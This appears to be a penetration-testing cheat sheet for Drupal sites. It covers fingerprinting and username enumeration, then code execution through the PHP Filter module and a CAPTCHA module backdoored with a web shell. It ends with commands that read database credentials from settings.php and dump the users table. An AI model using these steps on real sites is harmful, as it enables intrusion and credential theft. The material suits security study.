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  • Check meta

curl https://www.drupal.org/ | grep 'content="Drupal'
  • Node: Drupal indexes its content using nodes. A node can hold anything such as a blog post, poll, article, etc. The page URIs are usually of the form /node/<nodeid>.

curl drupal-site.com/node/1


Drupal supports three types of users by default:

  1. Administrator: This user has complete control over the Drupal website.

  2. Authenticated User: These users can log in to the website and perform operations such as adding and editing articles based on their permissions.

  3. Anonymous: All website visitors are designated as anonymous. By default, these users are only allowed to read posts.


  • Check /CHANGELOG.txt

curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

Newer installs of Drupal by default block access to the CHANGELOG.txt and README.txt files.

Username enumeration


In /user/register just try to create a username and if the name is already taken it will be notified:

Request new password

If you request a new password for an existing username:

If you request a new password for a non-existent username:

Get number of users

Accessing /user/<number> you can see the number of existing users, in this case is 2 as /users/3 returns a not found error:

Hidden pages

Fuzz /node/$ where $ is a number (from 1 to 500 for example). You could find hidden pages (test, dev) which are not referenced by the search engines.

Installed modules info

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml


droopescan scan drupal -u http://drupal-site.local


With PHP Filter Module

In older versions of Drupal (before version 8), it was possible to log in as an admin and enable the PHP filter module, which "Allows embedded PHP code/snippets to be evaluated."

You need the plugin php to be installed (check it accessing to /modules/php and if it returns a 403 then, exists, if not found, then the plugin php isn't installed)

Go to Modules -> (Check) PHP Filter -> Save configuration

Then click on Add content -> Select Basic Page or Article -> Write php shellcode on the body -> Select PHP code in Text format -> Select Preview

Finally just access the newly created node:

curl http://drupal-site.local/node/3

Install PHP Filter Module

From version 8 onwards, the PHP Filter module is not installed by default. To leverage this functionality, we would have to install the module ourselves.

  1. Download the most recent version of the module from the Drupal website.

    1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  2. Once downloaded go to Administration > Reports > Available updates.

  3. Click on Browse, select the file from the directory we downloaded it to, and then click Install.

  4. Once the module is installed, we can click on Content and create a new basic page, similar to how we did in the Drupal 7 example. Again, be sure to select PHP code from the Text format dropdown.

Backdoored Module

A backdoored module can be created by adding a shell to an existing module. Modules can be found on the drupal.org website. Let's pick a module such as CAPTCHA. Scroll down and copy the link for the tar.gz archive.

  • Download the archive and extract its contents.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Create a PHP web shell with the contents:

  • Next, we need to create a .htaccess file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the /modules folder.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
  • The configuration above will apply rules for the / folder when we request a file in /modules. Copy both of these files to the captcha folder and create an archive.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Assuming we have administrative access to the website, click on Manage and then Extend on the sidebar. Next, click on the + Install new module button, and we will be taken to the install page, such as http://drupal-site.local/admin/modules/install Browse to the backdoored Captcha archive and click Install.

  • Once the installation succeeds, browse to /modules/captcha/shell.php to execute commands.

Post Exploitation

Read settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Dump users from DB

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'


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